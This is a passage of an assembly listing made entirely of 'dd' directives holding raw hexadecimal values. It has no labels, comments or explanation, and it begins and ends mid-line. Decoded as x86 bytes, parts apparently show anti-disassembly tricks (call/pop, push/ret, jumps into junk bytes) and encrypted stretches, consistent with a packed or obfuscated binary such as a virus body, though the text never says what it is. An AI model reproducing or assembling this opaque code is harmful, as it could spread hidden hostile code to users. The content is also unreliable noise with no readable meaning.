512A09EFh, 0E0BA5623h dd 4438962h, 6E9h, 0A998AA00h, 0B9F60973h, 234CF6h, 5E8h dd 1D30FF00h, 6E9ED7Dh, 0C3000000h, 2293870h, 0B8665BB1h dd 0C381B007h, 6BB6h, 0BAFA8B66h, 0 dd 0BC45E181h, 348B0CA6h, 0A2EE8113h, 664B74B2h, 0EE81C18Bh dd 7DAA07Fh, 0C8C08160h, 0E82E7679h, 13h, 6709C2CAh, 0C233F35Dh dd 3DFE1F18h, 338BE4D7h, 8B0E447Ah, 81615FD9h, 0ACF3A5F6h dd 8B0F6007h, 5, 0DCD68166h, 0EE8FAh, 0E4B0000h, 169E4336h dd 6A497420h, 4C715108h, 615F5A52h, 0BE856h, 70E50000h dd 64E622Ah, 79C0E39Eh, 7FB86639h, 48F595Ah, 0E9BAB113h dd 9, 3AC88370h, 0A32A73B4h, 3EA8357h, 4ACBB70Fh, 0FA81CA8Bh dd 0FFFF9514h, 0FF64850Fh, 810FFFFFh, 3, 8DC38B66h, 31ED0B8Dh dd 0C9958B06h, 89062B0Dh, 2B196D95h, 0E18D8906h, 29062B0Eh dd 2B2F81B5h, 0E185C706h, 5C062B21h, 6A000070h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 241FC350h, 0E585C709h, 62B2Bh, 0F000000h, 0B5FFF2B7h dd 62B0525h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 17h, 38C35141h, 3328312h, 2B2C3DB5h, 3195FF06h, 6A062B27h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 308FC352h, 2571688Dh, 0B58B6BB7h, 62B0D29h dd 95FF006Ah, 62B2945h, 4FEBC08Bh, 1F30917Eh, 2971A446h dd 0E9F991F9h, 0A3BEF2FBh, 0CAC8B30Bh, 0AF2EF6Ch, 2B5B7A78h dd 391B67A7h, 0F9ABBF39h, 8C9AAFF3h, 33A7F752h, 0CB338A56h dd 5B35CFD9h, 0A8556FBCh, 0EAEC6D80h, 5644828Ch, 85DFFF65h dd 7D6E94Ah, 965AC126h, 0E9CA240Ah, 28h, 65C68E7Bh, 9 dup(0) dd 0BB1E9h, 0EF496800h, 64E90631h, 68FFFA62h, 631F051h dd 0FA625AE9h, 0F1F868FFh, 50E90631h, 68FFFA62h, 631F32Eh dd 0FA6246E9h, 0F4AA68FFh, 3CE90631h, 68FFFA62h, 631F669h dd 0FA6232E9h, 0F79868FFh, 28E90631h, 0ECFFFA62h, 38DD51A8h dd 11F40877h, 6B0EE24Fh, 4227DB2Ch, 967DB104h, 3C89CFBDh dd 115A25F8h, 0CC3B781Dh, 0A40D5528h, 89E5C440h, 91EAE25Eh dd 3B594843h, 548D0A7Bh, 7841A50Ch, 188832CFh, 0C8A97730h dd 4200CADDh, 0E397DEA6h, 0E2204E7Fh, 709DE6E4h, 0A67BCC8Bh dd 0BD0B6AE1h, 293C93B8h, 0FB6F96ECh, 0E74C15F2h, 0B0AFF678h dd 0F02A85C6h, 81AF991h, 0A6841963h, 48E471h, 1CF90000h dd 0F274E356h, 0C5043D43h, 3C45DD76h, 0ACC225E9h, 0DB0F99C6h dd 28DC8497h, 26874D21h, 0FF929DE6h, 79A6CCB6h, 6491F019h dd 5BC448FCh, 44ADF552h, 0E04E57DBh, 91F019ABh, 16A38D7h dd 71A67937h, 0F982h, 7B3BB900h, 0E548D0Ah, 9BDB3CBBh dd 35295D27h, 94499D82h, 4BFF78CFh, 0F65358C7h, 55DD5AB1h dd 0BE074F4Ch, 2C42737Ah, 97DBD9E3h, 0A558E111h, 0A9C62FDh dd 4EF33F46h, 0E097DB7Dh, 38DD51A0h, 0EF000978h, 0DB425483h dd 70014997h, 5D9F06C1h, 0BD35A217h, 2AEF0009h, 0E9611E6Dh dd 6E602A88h, 0FD659DE6h, 99637A39h, 5483EFD7h, 4991F059h dd 0E0E99D01h, 0CE99D4B2h, 0C9894E9Bh, 964BFF78h, 71F966CDh dd 6990D820h, 9519E3ACh, 97DDE62Ah, 0E09F0337h, 0A5D6176Eh dd 2BD42360h, 7B39DEA7h, 5117EA0Eh, 52244BE4h, 28178AB2h dd 94B5Ch, 0C7367200h, 0BE054E23h, 90DDA77Ah, 49BAF99Ch dd 2792D0B5h, 5D2B20C3h, 0AB4EA217h, 8E6387E8h, 0DBBE72C9h dd 5AD62A9Bh, 0E0D01F93h, 0D2CD91EAh, 87D3BC3h, 0B5CC5F4h dd 0BA2CF1DCh, 1B227512h, 0FB6F56F0h, 4CB5FD9Ah, 0C22563A8h dd 4CCB3678h, 90DFD3DAh, 8D97DB0Fh, 4A2851C5h, 9DE62698h dd 7ACD948Dh, 0D23949F6h, 0AE91F019h, 70DAA373h, 4D71A678h dd 0E1h, 0B0FEEFE2h, 97DB0F47h, 8A8F165Ah, 1BFC7BCAh, 36FE85Dh dd 97DB341Eh, 9881F0B0h, 0BDC0B67h, 99C197DBh, 2BAA5918h dd 7A1B9744h, 2599D9BCh, 71F6F710h, 0BE875A6Fh, 0DC40C671h dd 0A7ED2A23h, 55484352h, 0F3E4535Fh, 71F997DBh, 0F463D69Ch dd 0D3DFCE72h, 9DE6DFF9h, 0C3B074FCh, 0E9F04EDCh, 36985ED8h dd 0D2E3456Dh, 8D31A596h, 0D909169Ch, 0AB39BCEh, 0E8C2724Eh dd 74D4ADD6h, 3A78DDCCh, 10562BCFh, 66F0AA5h, 0F5608AB2h dd 84387h, 0DF2E6A00h, 0B6FD465Bh, 68D59F72h, 41B2F194h dd 3F8AC8ADh, 553328FBh, 0A346BA0Fh, 869B9FE0h, 0D3B64AC1h dd 42CE2293h, 0FFD8076Bh, 0CAC591EAh, 597D3BDBh, 0BA2CAB18h dd 0ECBF236h, 9841FE45h, 0F1F86CDBh, 0DB0F72BDh, 9AFB6F97h dd 0A84CB5FDh, 0A7B3B63h, 347FC603h, 1CF9F26Dh, 682EE356h dd 95EC621Dh, 4871C080h, 9C71C683h, 271362D5h, 0A7D6495Ch dd 0E634D1CBh, 0B56B39Dh, 0D347B4F1h, 45F266C2h, 896DD49Ch dd 289DDB20h, 7C323BAFh, 91F00A33h, 0BE5B3A2Eh, 66108FF6h dd 1AB62F44h, 0C081AF9h, 6439FD44h, 5C2AD51Ch, 16B6290Eh dd 4002C700h, 8EA7C6F0h, 0E296E4B5h, 0CDA4FD75h, 0A793D3D9h dd 26D12462h, 0C09BC4A0h, 0D28616B6h, 26E3CA2Eh, 0E668175Eh dd 46BAFA9Fh, 2DB16F1Fh, 7A561188h, 0B9332038h, 0B3988135h dd 119D8CF1h, 16B676A6h, 73EEB7BBh, 0B676C107h, 3DE9A616h dd 0EA0E773Fh, 79E64F17h, 85B427BEh, 74B117E9h, 6F03CAE3h dd 0EF628E20h, 6D81353Dh, 6D9C0F96h, 0AC16C37Ch, 5B9B7EBCh dd 0E896F43Ah, 0AF93E55Fh, 0DC044630h, 9D78E949h, 0E1265789h dd 0E6515D9Eh, 48E949DCh, 60E8BE09h, 59CE5ADh, 0E320D7Fh dd 3C9E8EAh, 7CE50000h, 0CD0E5A36h, 0C4277E32h, 0D0D7E313h dd 7E402E5Fh, 239DE65Ah, 30DBA73Fh, 9810E1CAh, 0F636A05h dd 1AC3C2F9h, 60A35C04h, 0B7FBE27Dh, 1CE4716Fh, 4287B6BAh dd 998AB302h, 0FB76AA15h, 0F283B710h, 0D0216104h, 0CBE26417h dd 9CE85711h, 69Ch, 0F23687C3h, 15E9561Fh, 2FC32E70h, 44B80B4Ah dd 9296E3A1h, 682E5CF1h, 3904191Dh, 1A5F32F6h, 0ECB449ADh dd 0C4E56185h, 0EAFE61AEh, 70A37C91h, 2029C225h, 0E6344872h dd 8AB12A9Dh, 24304C11h, 2384DE4h, 0FD3D1A93h, 631C44A4h dd 108FF6BEh, 0F9B5A6C7h, 91F0398Eh, 0FBD6AF93h, 33AC332Bh dd 3982CD0Ah, 88908BEh, 0CEBBE26h, 9200C1D0h, 9BCD6268h dd 87EAB46Dh, 5CAF1896h, 8EB297DBh, 8CE2131Ah, 97DB5C43h dd 576BEA5Eh, 0D1F8EBA4h, 0F1F8BEC7h, 39EA8348h, 23E62053h dd 97841D62h, 927766CFh, 71F966D5h, 0DF3C3120h, 4D4A2B94h dd 0A753905h, 1797DB8Bh, 52C63572h, 795031AEh, 0CFE7AFADh dd 74883C89h, 7BE68CFEh, 2A5696Bh, 0A7640000h, 66E897E0h dd 9B13B7FFh, 0D5AC8CD9h, 0ACC22576h, 0DB0F99C6h, 16E3797h dd 5647CB7Fh, 0E91D4B58h, 561CF99Dh, 0E2A374E3h, 0F86CE29Dh dd 0C4A4F99h, 0E8853EB9h, 0A08EAECEh, 5647CB7Fh, 0A246B3F1h dd 0D3C89CFh, 1329961Ch, 0C3491EAh, 588CFA75h, 1691EA13h dd 4148E74Eh, 32847A4Ch, 5667907h, 51150000h, 206104F8h dd 0F8BA5FD3h, 0D59C71B5h, 0ADEB8E62h, 16CFA458h, 23C73270h dd 44B8034Eh, 9397E4A1h, 0AB4FB6FEh, 0B7E08EBFh, 0AA91EAFCh dd 0C225A6F1h, 960F2029h, 3919FA27h, 4DB1C0F1h, 9DE99EA6h dd 8F50CF73h, 384873C7h, 0E9D82C0Ah, 0A4EC8165h, 357DA25Dh dd 0B53653CCh, 37A00F50h, 0AE155EB3h, 9D8B931h, 0EE571F1Dh dd 472E180Ah, 0CC8B71ADh, 0C2000001h, 4CCB4005h, 3B68BBDAh dd 9A030A7Bh, 0FABFB06Dh, 0E4AB148Dh, 855A156Ch, 72BDF1BDh dd 6F97DB80h, 0C0B377FBh, 575B42DDh, 9DE686FDh, 0FC594008h dd 38374EB1h, 0F0811D4Eh, 0F0A26191h, 0A6ECA1EBh, 3B7C71h dd 25130000h, 722029C2h, 9DE62680h, 56D3A095h, 0AD2A9FE5h dd 9474BC25h, 4836A155h, 91F02F03h, 515D4E7Fh, 91F02FE6h dd 165D26FBh, 247DE169h, 4A3C594Dh, 9771A683h, 0D7h, 0A7B3BC4h dd 347FC603h, 0C37E078Bh, 0BBDC51CAh, 5D48BBA2h, 1772F78Ch dd 1900B43Ah, 0DB8E2A95h, 72033797h, 367DFA5h, 0D76DC7BEh dd 84B5A428h, 0DB9BA1EEh, 0EDB4BC97h, 9CE5AD72h, 0F763EE3h dd 0A0BABFEBh, 27C097DBh, 7CEA3218h, 533859EEh, 4CB1F313h dd 57AB5FD3h, 0B7A639ACh, 0B3004186h, 0B96D9CE2h, 0A0A89DE5h dd 0A3165CB9h, 0AC155DBAh, 73D8E1D5h, 0E6B3C233h, 0FD9A55A0h dd 0FE90D931h, 3EA3543h, 0D5910000h, 0A4ED8064h, 7CC6DB5Fh dd 5918FD31h, 31770AEEh, 8A4320C4h, 0AF43B6FCh, 0C02487CAh dd 1F13682Dh, 37CB3A7Ah, 337C323Bh, 2E91EAFBh, 7D3B226Dh dd 5111F408h, 0F13E7465h, 0EC97DB0Fh, 0FDF0864h, 0C9A597DBh dd 97DB0F9Eh, 81C9DF83h, 3BB2191Dh, 0A81D5B7Bh, 9B2BB24h dd 107C1DCAh, 2897D889h, 7838DDA4h, 970EF509h, 87991504h dd 5A9DE6D5h, 0B0196916h, 0BE91F0EAh, 3887C80Dh, 976A0BBFh dd 0BCA45D8Fh, 61B3508Eh, 5D92DDD1h, 0DB8F91F0h, 50574E57h dd 672EC68Eh, 7BEF631Ch, 4001C6F7h, 0FC244F3h, 2899F845h dd 0CD65B44Ah, 0DE1699Bh, 0B8E78BBCh, 0A597DB5Ah, 5A0D7A38h dd 281097DBh, 0EF8EDDA4h, 9D1A692Ah, 0C78F8C15h, 5818C17Eh dd 0A3CFE0E9h, 97DB0F74h, 0DA90E169h, 2455C6D9h dd 0E609144Eh, 0FE79E19Dh, 0F00E5BB0h, 5CA5ED91h, 0CE357EA3h dd 91DF451h, 40FF4003h, 0CE4D5ACEh, 5FCDBFC4h, 4A8F71A6h dd 0FFB3BA09h, 91F006B0h, 4CDCA5ADh, 37h, 29C225E3h, 26807220h dd 0AD959DE6h, 19074432h, 727B91F0h, 0F867CC95h, 42502F76h dd 0A6794F39h, 0D0AA71h, 3AA30000h, 5614033Ch, 4C733E8Eh dd 2A2B9F25h, 3B8CDFA6h, 548D0A7Bh, 55B2BB0Eh, 0E63BA40Dh dd 21A9569Dh, 606DE4BDh, 0A6BDC9Bh, 43FC450Dh, 7EC38D4Ah dd 632849C1h, 125ED223h, 97DB346Fh, 0FC3081C1h, 6FE85919h dd 0A6EF31B4h, 4BBE8459h, 0A7D65ACCh, 0E64009CBh, 5A25FC9Dh dd 0EB2FD40h, 0A9D669Ah, 0E50A6891h, 189BCEFFh, 0A6EC2950h dd 7C3ADF53h, 0F82BBE09h, 312C8AB1h, 22B43h, 0A7165200h dd 9EE5AE43h, 70BD879Ah, 299AD9BCh, 77230D5h, 0BDCB00E3h dd 8B6E82F7h, 0EE8367C8h, 3BDE52A9h, 7AF60A7Bh, 0F9F03F73h dd 32ED91EAh, 6976EFE3h, 8CF1B3E4h, 5CE69F13h, 0B35839B3h dd 896C80F5h, 947178C9h, 591D64CBh, 98EDAB90h, 0C225AAF9h dd 0D9266FACh, 0DB0F62ADh, 3D84CC97h, 0F67A0C82h, 6D575B42h dd 789DE626h, 0E397E4A1h, 19C10A74h, 5EBD91F0h, 795D2FB4h dd 3B871A6h, 0D7000001h, 37E76EFh, 0B0E4DB52h, 56C34E1h dd 0E9B4919Ah, 911986h, 7FF84D0Bh, 0B519D54Eh, 1F692CFDh dd 36053886h, 0EBAB97DBh, 0C383669Ah, 0D7C8C572h, 0A4C03372h dd 97DB097Bh, 0E8A3F266h, 3F737AF5h, 9DE64265h, 7FA8C6F7h dd 6291F03Dh, 1941A7FEh, 3077D4E5h, 0E0C7BEC7h, 0C9A55E4Fh dd 0D6DE8D01h, 0E213D4ADh, 65D2C0F1h, 7891F0D3h, 0D34BB4F0h dd 0E25691F0h, 0D348B7FBh, 0ED5591F0h, 10782E94h, 79E29BCEh dd 0C8E57B31h, 54E834Ah, 0D981E7BEh, 5D2D6BD0h, 0DD56E651h dd 0C377FB97h, 0B90C4A2Fh, 0B1C2A50Eh, 0DDAB968Ah, 0FCh dd 9296E7A3h, 0B549B6FFh, 0CF238ED0h, 0E4186B2Ah, 32F64301h dd 0C88EFC51h, 99E4B97Dh, 7A3FD256h, 4C14E90Dh, 240501E5h dd 0EAF8014Eh, 10031C91h, 1087D3Bh, 0E2B07CC4h, 97DB0FB5h dd 833CA0A8h, 3980760Fh, 80EAFC80h, 5D24AB63h, 95D8F8B8h dd 0B125AD2Ah, 7B3B2E7Dh, 9C12030Ah, 97DB0F53h, 9F131A4Eh dd 97DB0F50h, 0C57C054Dh, 9ED541Ch, 0F1F8736Ah, 0E91DD2BDh dd 525B0F9Dh, 0DD5AAFF5h, 0CC154C55h, 0CF0C3D84h, 96643D8Ah dd 5B42B3F3h, 0B9A1D7A2h, 59C10BDh, 0E58F3C4Ah, 0D53235E2h dd 3A8BCBC1h, 126323C6h, 571DFAEBh, 1B5986E2h, 0AEF7F21Dh dd 8A0B3F41h, 6AE4B12Ch, 0DB96EF33h, 4BF43F06h, 2874ED9Eh dd 14E2473h, 1CF21D4Fh, 3D57AD54h, 0D6BC93E2h, 8B5EA2E2h dd 1D5E21DBh, 5B3AAE64h, 796A53D7h, 1D25CA35h, 1263D7F2h dd 4BF43D05h, 33Dh, 0A609D200h, 910E7F3Bh, 3EB90848h, 0B02F9CD9h dd 5CDB246Fh, 0CF48BDFBh, 7EF94C0Ah, 0EE69DA99h, 9D1A6729h dd 0BB4FB44h, 0E08950B3h, 3561BE56h, 0CE811042h, 4D720A26h dd 9EC6814Eh, 1A28DC0h, 0E8835EF0h, 24048704h, 34B5685Ch dd 2C890000h, 3F806824h, 0C890000h, 68535724h, 0B4D36CCh dd 0BC3815Bh, 89FAE4B7h, 0FD895BDFh, 59CE685Fh, 24890000h dd 24048324h, 0EC815904h, 4, 8F242C89h, 0C8B0841h, 0E3895324h dd 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Dh dd 0E9000000h, 0FFFA56C7h, 96DBE8FEh, 3BD3A029h, 0B9B86256h dd 30631F8h, 3CE0FFC5h, 0E0586D6Ah, 946F168Dh, 3D70334Dh dd 0E819F248h, 13h, 36E745DDh, 49BE58FAh, 0EE21804Ch, 3DA94A45h dd 807010E8h, 0F58B9D1h, 0E8Ah, 0D3816000h, 3C43B140h dd 880Fh, 81610000h, 6C2CC0h, 11E900h, 67410000h, 19750285h dd 0E5D98BEh, 6011F0D0h, 0BA7D8A40h, 69C0F606h, 0ECCBF281h dd 0E86069C0h, 13h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh dd 8109FDAFh, 505E03C9h, 800F5F20h, 0 dd 66188B61h, 8195B1BFh, 9885C3F3h, 12E8536Ah, 45000000h dd 118962C7h, 0D3CD1A7Fh, 0A9F6FE36h, 0D2711F11h, 0DE918h dd 7E730000h, 613A6F5Bh, 0F5840EC9h, 5F85E1BCh, 0F6C3815Fh dd 0E9298F54h, 8, 0BCFD880Dh, 0F470AFA9h, 0FFA4EB81h, 18896A94h dd 0F502E883h, 0EA814848h, 1, 10850Fh, 0F28B0000h, 17E9h dd 0A5862900h, 89DF208h, 0E9FC36DAh, 0FFFFFF85h, 0FDEE29ACh dd 36AC2A32h, 12E8h, 0BA2C6F00h, 1F7DC7Eh, 27477EC7h, 95A3F052h dd 66A5382Ch, 5B36D1B8h, 9E8h, 0E21B5A00h, 0E31A9DA4h dd 8B66501Ch, 0C3815EC1h, 6316h, 12E9h, 5CB3DF00h, 82D179E8h dd 4937BA97h, 0D6A9F5BBh, 0BF1F7DC7h, 188Ch, 138BC5B0h dd 81CAD480h, 0A149F1EAh, 81F08B74h, 4D365AEAh, 0EA81FC20h dd 6807A1A6h, 0D88052F5h, 0F038F0Ah, 48Ch, 58515600h, 3EB8358h dd 0C8BF0F60h, 9E9h, 0EE46F900h, 0A25EBC9Ch, 4B615662h dd 0EF81C68Bh, 1, 20850Fh, 0B9560000h, 4C55B48Dh, 41E959h dd 73E30000h, 0C3B56DABh, 0DF9CBF54h, 0EB4DAD58h, 0A229181Ch dd 12E9AEF3h, 2000000h, 0BF4F810Dh, 26155461h, 7D13D067h dd 7A9F9D73h, 0FF74E908h, 2497FFFFh, 54DAF601h, 0E52DAA34h dd 0E915F935h, 8D6D30AFh, 31FBFF8Dh, 0F8B0F06h, 0E9000000h dd 0Ah, 673768A3h, 0FD80986Bh, 8D8939E4h, 62B0EE1h, 11E9h dd 5652C500h, 769AB96Bh, 63E4C1Fh, 43E54B0Eh, 85C7CC57h dd 62B21E1h, 5924h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0F0C35141h, 382C95A3h, 9D890AA5h, 62B0049h dd 2BE585C7h, 62Bh, 89530000h, 2B09518Dh, 0B5FF5B06h, 62B0165h dd 2E0D852Bh, 95FF062Bh, 62B2731h, 0FDBBF0Fh, 1782h, 12E900h dd 52DD0000h, 8A0F85Eh, 8A979267h, 2826ACBAh, 790D0A69h dd 95FF006Ah, 62B2945h, 1EEBC08Bh, 0C49C56EDh, 1F24A56Ah dd 2792972Ah, 0FC68E2F7h, 0BB9F644Dh, 4BCA51F3h, 78FC85C1h dd 8D8D47ECh, 631FCB1h, 0EE18D89h, 6A062Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3E243EC3h dd 16D3ADAEh, 21E185C7h, 6984062Bh, 5E90000h, 0D8000000h dd 8D970B57h, 2BE585C7h, 62Bh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 9D635FC3h dd 0FC8A9CFh, 0B5FFDABFh, 62B1A95h, 15798589h, 95FF062Bh dd 62B2731h, 3571B531h, 6A062Bh, 294595FFh, 0C08B062Bh dd 6FD70CEBh, 56D3ED06h, 3805EEAh, 8E8F46Bh, 91000000h dd 3B1E2C13h, 0FF4D1F3h, 0C84h, 68C0F00h, 1000000h, 2B2D81B5h dd 81F85E06h, 6476C6h, 9E900h, 0C960000h, 0FE9AB1FCh, 33F83472h dd 0EBD781D2h, 0FF1F7CD6h, 66593234h, 0C181DA8Bh, 46ED7CDh dd 1A9AC181h, 38BF722Ch, 817C9DBAh, 4565A2F1h, 9FE08144h dd 512B26D0h, 16048FFCh, 121DBD8Bh, 9D03062Bh, 62B1935h dd 8B03EA83h, 2B1B8D9Dh, 0E9524A06h, 5, 69A561BEh, 0FA815F0Dh dd 0FFFF9C68h, 33850Fh, 0BE80000h, 0F000000h, 8CD52852h dd 48581497h, 8E0FA2A6h, 3, 58C78B66h, 34E9h, 78F94E00h dd 220369C3h, 1088FA06h, 29C7C2D0h, 0EA463D67h, 0B52960AEh dd 62B1FE9h, 15FDBD8Bh, 0E961062Bh, 0FFFFFF63h, 0A9C22AD0h dd 0CAF81865h, 24254CBCh, 1CE99Fh, 0CFB70000h, 7B54h, 5 dup(0) dd 0CCE90000h, 68000004h, 631FED6h, 0F981DFE9h, 0FF5168FFh dd 0D5E90631h, 68FFF981h, 63200D9h, 0F981CBE9h, 0D5EF6CFFh dd 0A59BBED9h, 744A0E69h, 0C0E45FB8h, 8DB7ABC4h, 0A835E411h dd 0F7108CB6h, 46A15D67h, 94F32F11h, 5C3EFADCh, 3D0FA1CFh dd 0C64292DAh, 670271E2h, 3F55251Dh, 7645E7F5h, 263894EBh dd 5AFC038Ah, 0CA88F760h, 0D0E7E071h, 0C4F8613Eh, 0C3525BE7h dd 26E2C47Ch, 4D9AD727h, 0C6704E3Fh, 4E99818Ah, 0F23B0D53h dd 601FAD23h, 0AC556D3Eh, 0ED6722D8h, 0ABC7C2CBh, 53776C79h dd 313h, 56B54E7Fh, 36104AE6h, 399E96D5h, 0D7194EACh, 0A4B01FBBh dd 8AC66621h, 30F25D48h, 774CDE70h, 0AC6BF7B6h, 497FE2A1h dd 0A32DDC62h, 6BD50A9Eh, 913E3383h, 8974F602h, 1109689Bh dd 0FA6B7998h, 8D76B69Ch, 0BD0D3E8Dh, 0F66827B0h, 2632DDCCh dd 7C83BAA7h, 781740DEh, 0C522DEF8h, 0D91FA583h, 0CE53E77Fh dd 31C4A1Dh, 6570000h, 0B2A9C6C2h, 63F91692h, 0F46A15Dh dd 0CC92ED29h, 0CF33EFAh, 39F5CF93h, 4E4A7CDEh, 98142831h dd 27E3C57Fh, 20CAD675h, 5592DA3Eh, 1F6FFBDFh, 9A715711h dd 0C007A9B7h, 0E47A94EBh, 5074EF48h, 6EECAB34h, 2DFEC297h dd 41AF10Dh, 627E8A85h, 0F38ADDC3h, 0BDA5E06Fh, 6EF00F8Bh dd 0C8887A87h, 9C6981h, 9C9625ABh, 0EF696D25h, 263FBBC9h dd 0B3604A33h, 2A198h, 0B98BD000h, 93F227Dh, 0D8EE728Dh dd 0A480C3DCh, 714B0F68h, 0C8948B5h, 5BB4704Ah, 0AAC5C103h dd 0F81793B5h, 0F8A25E78h, 3FAB4553h, 5ADE92DAh, 0D6E27186h dd 94EBC054h, 5D9EAEB5h, 0E486923Dh, 9994EBC0h, 0A7170881h dd 0DC7E1D4Ah, 0ED092F29h, 0CB76B182h, 0C5C4B437h, 0CC223E4Ah dd 2F338ADDh, 4E7EE5A0h, 0DF82DD7Dh, 7F6D20E9h, 6D25D2D1h dd 0F0A69A9Bh, 0D2D55765h, 0B6A86D25h, 52B99FD9h, 0B0BADDCCh dd 547764EFh, 1A3h, 0D6E27176h, 94EBC054h, 0A9F83129h dd 0E2174AAFh, 8376946Ch, 0D17E9A47h, 0EB6129C3h, 0A6C25C94h dd 0DF9B0645h, 6044FFE4h, 0A688F78Bh, 0A3FE2FD0h, 20B87A1h dd 612BDB2h, 8AC6DA73h, 11BF0C12h, 6D3EC283h, 0AE5428C9h dd 898DF1E3h, 980160Fh, 6C2BE48Eh, 0B0A7E277h, 0EA233F8Ch dd 341Dh, 1F6FB900h, 727785D2h, 0D8AC6EAh, 2A98123Eh, 6DED6D3Fh dd 2EA66402h, 63FF190Eh, 8B64488h, 53FC6D3Fh, 0EF1E2034h dd 0A649276h, 0B2776BA2h, 0AAh, 0E1C7811Ch, 99A3B70Ah dd 5375EF32h, 0D6232578h, 0F37474F6h, 2AE602ACh, 0CAFC5E3Dh dd 8F59CDC3h, 70F094EBh, 0CECD5A56h, 0C778B197h, 0DFED7A77h dd 8AD94C53h, 0E473DC42h, 52A14B59h, 4AD46D39h, 0E31A3C43h dd 0A22D497Bh, 52670917h, 6A766D39h, 6D3952C0h, 0C856A5B5h dd 5C021DC1h, 0F0ACD86Ah, 68BB4A2Eh, 119E1h, 0C1035800h dd 91B7AAC5h, 6066FA15h, 2C084BA4h, 0F9C397F0h, 9401F03Dh dd 0E33CF8C2h, 324D497Bh, 809F1B2Dh, 702AE6C0h, 0C023CDDBh dd 0D25692D9h, 0E7D981FEh, 0B294CC2Bh, 0DF06625h, 0D4D57157h dd 0C7816A6Eh, 0BDB70AE1h, 9EEE1F9Bh, 71A83382h, 0ED0903F8h dd 3C48D762h, 94EB3FB2h, 6AAC88C7h, 0A278B3FAh, 0D8098706h dd 778AC611h, 39217CEBh, 8F1D8B07h, 7E6D3EF4h, 3F3633C6h dd 97744E0Ch, 715BBC8Bh, 6221AECAh, 43EDFBFEh, 366D3ECDh dd 0A11D8C28h, 0DD2E1046h, 6F3D038Eh, 2E549D05h, 7454FFh dd 6F420000h, 7785D21Fh, 8ADDC35Fh, 3C8368F6h, 4A7AE104h dd 41BDD961h, 0A3082E26h, 0CC111A2Dh, 0D6AA43EBh, 0CAE26520h dd 515059E1h, 0FBA63117h, 0A089642h, 0C4BA73A6h, 22043C5Bh dd 0FADC94EBh, 484F3A11h, 990D06D5h, 0EB6AB574h, 170EFECDh dd 20C57F33h, 2EEA0620h, 5AB197D1h, 15F3h, 0B3C16C00h dd 0E88C9439h, 949A1420h, 73EFE88Ch, 73179688h, 0DC817A5Eh dd 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh dd 9ED92487h, 4A0E6DBEh, 15489774h, 5008D833h, 405E089h dd 56000000h, 4BEh, 5EF02900h, 5C240487h, 3C4F68h, 243C8900h dd 2EA568h, 242C8900h, 0EDBF5756h, 890631FDh, 0F7895FFEh dd 4EC835Eh, 81242489h, 42404h, 505D0000h, 8150F889h, 1DED2434h dd 458F0625h, 8758108h, 6251DEDh, 2434FF58h, 4C4815Dh dd 8B000000h, 8951243Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 7D26E95Ch, 0F04AFFF9h, 0DE3FE4CBh, 0B8F0E611h, 6320217h dd 0E0FFC503h, 638D1F41h, 2C5F1448h, 18A2F8E9h, 5C137024h dd 678786A3h, 5980EBA9h, 125ED044h, 56B772F7h, 1002E759h dd 1B72C561h, 3968D8Dh, 6A0632h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8166EFC3h, 8974F7DFh dd 2B1E959Dh, 55B50106h, 89062B08h, 2B0EE18Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 588380DEh, 8B9FA151h, 2B0055BDh, 0E185C706h, 0A4062B21h dd 0C7000067h, 2B2BE585h, 6, 999D8B00h, 0FF062B02h, 2B0A91B5h dd 7DB58B06h, 0E9062B1Bh, 0Fh, 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh dd 0FFDCB239h, 2B273195h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1704h, 0C3534300h, 0A50F6F16h dd 6A48D480h, 4595FF00h, 8B062B29h, 7D3DEBC0h, 544826CCh dd 3BCAA122h, 2E8BB10Fh, 4623C141h, 9BB23EE0h, 0D4142C8h dd 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0C21F4CAEh, 0FBFBDCCh dd 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh, 4A68D8Dh dd 81660632h, 898A8AEAh, 2B0EE18Dh, 13E906h, 34730000h dd 932CF6BBh, 709A26Fh, 0C8368563h, 0A6EF2097h, 0E185C76Fh dd 18062B21h, 6A000074h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 58FC355h, 0ED407949h dd 8955699Dh, 2B35258Dh, 0C1858906h, 0C7062B19h, 2B2BE585h dd 6, 0FFFD8A00h, 2B18B9B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0EEB4677Ah dd 0F181BFA2h, 95FF1A5Eh, 62B2731h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 53C35747h, 57846075h, 0B1B53117h dd 6A062B11h, 4595FF00h, 8B062B29h, 0AC2CEBC0h, 0BA25A273h dd 4C30E85Dh, 0F24B6D79h, 43B9E26Eh, 6FC0C9CBh, 0B615E489h dd 0F926AF6Fh, 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0E8D31900h dd 6, 8FA60F1Ah, 0DB802AA3h, 0AFB65FCBh, 5BB4C781h, 9D8B0000h dd 62B2B89h, 0DD771AB8h, 0ADF0817Bh, 567BDD61h, 30798589h dd 0FF5E062Bh, 0AE837h, 5FAB0000h, 0D2B7C6C3h, 8C44B0EEh dd 213D958Bh, 595A062Bh, 8BD0C181h, 81F53D72h, 0C5A108E9h dd 3ACBE1Ch, 0C18150C9h, 6BADE6B7h, 38A0Fh, 8B660000h dd 0F5B651D8h, 9D8B078Fh, 62B24CDh, 0E801EF83h, 0Fh, 4C2201D8h dd 16831653h, 280A42F3h, 0E98FCA7Dh, 9, 0E090CF8Eh, 